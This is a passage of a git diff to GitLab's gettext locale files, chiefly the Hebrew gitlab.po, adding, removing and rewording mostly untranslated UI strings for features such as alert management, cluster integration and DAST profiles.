msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/he_IL/gitlab.po b/locale/he_IL/gitlab.po
index e536d681876..42292a6f74b 100644
--- a/locale/he_IL/gitlab.po
+++ b/locale/he_IL/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: he\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:45\n"
+"PO-Revision-Date: 2020-09-04 23:08\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -60,13 +60,13 @@ msgstr[3] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -75,6 +75,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -389,6 +392,9 @@ msgstr[3] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -425,6 +431,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -489,6 +498,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -516,7 +528,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -603,9 +615,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -624,6 +633,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -633,6 +645,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -755,6 +779,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -784,6 +811,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -799,6 +829,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -882,6 +915,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -915,6 +951,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -924,7 +963,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -970,6 +1024,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1204,15 +1261,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1276,7 +1324,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1294,6 +1342,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1396,6 +1447,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1507,6 +1561,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1541,12 +1598,6 @@ msgstr[3] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1661,6 +1712,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1673,6 +1727,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1685,6 +1742,9 @@ msgstr "הוספת סוגיות"
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1964,6 +2024,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1979,6 +2042,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2208,6 +2274,9 @@ msgstr[3] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2238,7 +2307,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2295,9 +2364,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2310,6 +2376,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2352,16 +2421,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2391,7 +2457,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2490,6 +2556,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2637,6 +2706,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2703,6 +2775,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2775,9 +2850,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2919,13 +3003,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
+msgstr ""
+
+msgid "An error occurred while saving LDAP override status. Please try again."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2952,12 +3039,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -3036,6 +3129,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3259,6 +3355,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3271,6 +3370,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3286,9 +3388,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3397,7 +3496,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3409,9 +3508,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3424,6 +3520,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3687,7 +3786,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3765,6 +3864,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3891,7 +3993,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -4005,6 +4107,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -4074,13 +4179,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4275,6 +4383,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4449,6 +4560,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4482,10 +4596,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4506,7 +4620,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4692,9 +4806,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4920,7 +5031,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -5088,9 +5199,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5196,6 +5313,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5229,19 +5349,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5289,13 +5415,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5313,6 +5442,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5352,15 +5484,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5385,6 +5514,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5568,9 +5700,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5766,7 +5895,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5985,12 +6114,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -6030,15 +6162,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -6063,6 +6207,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -6078,9 +6225,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -6111,7 +6255,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6288,6 +6432,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6490,7 +6640,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6949,9 +7099,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -7036,6 +7183,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -7048,6 +7198,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -7072,15 +7225,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -7111,6 +7270,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -7126,6 +7288,13 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Create"
msgstr ""
@@ -7216,6 +7385,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7252,6 +7424,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7276,6 +7451,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7447,6 +7625,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7543,6 +7724,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7709,6 +7899,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7739,25 +7932,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
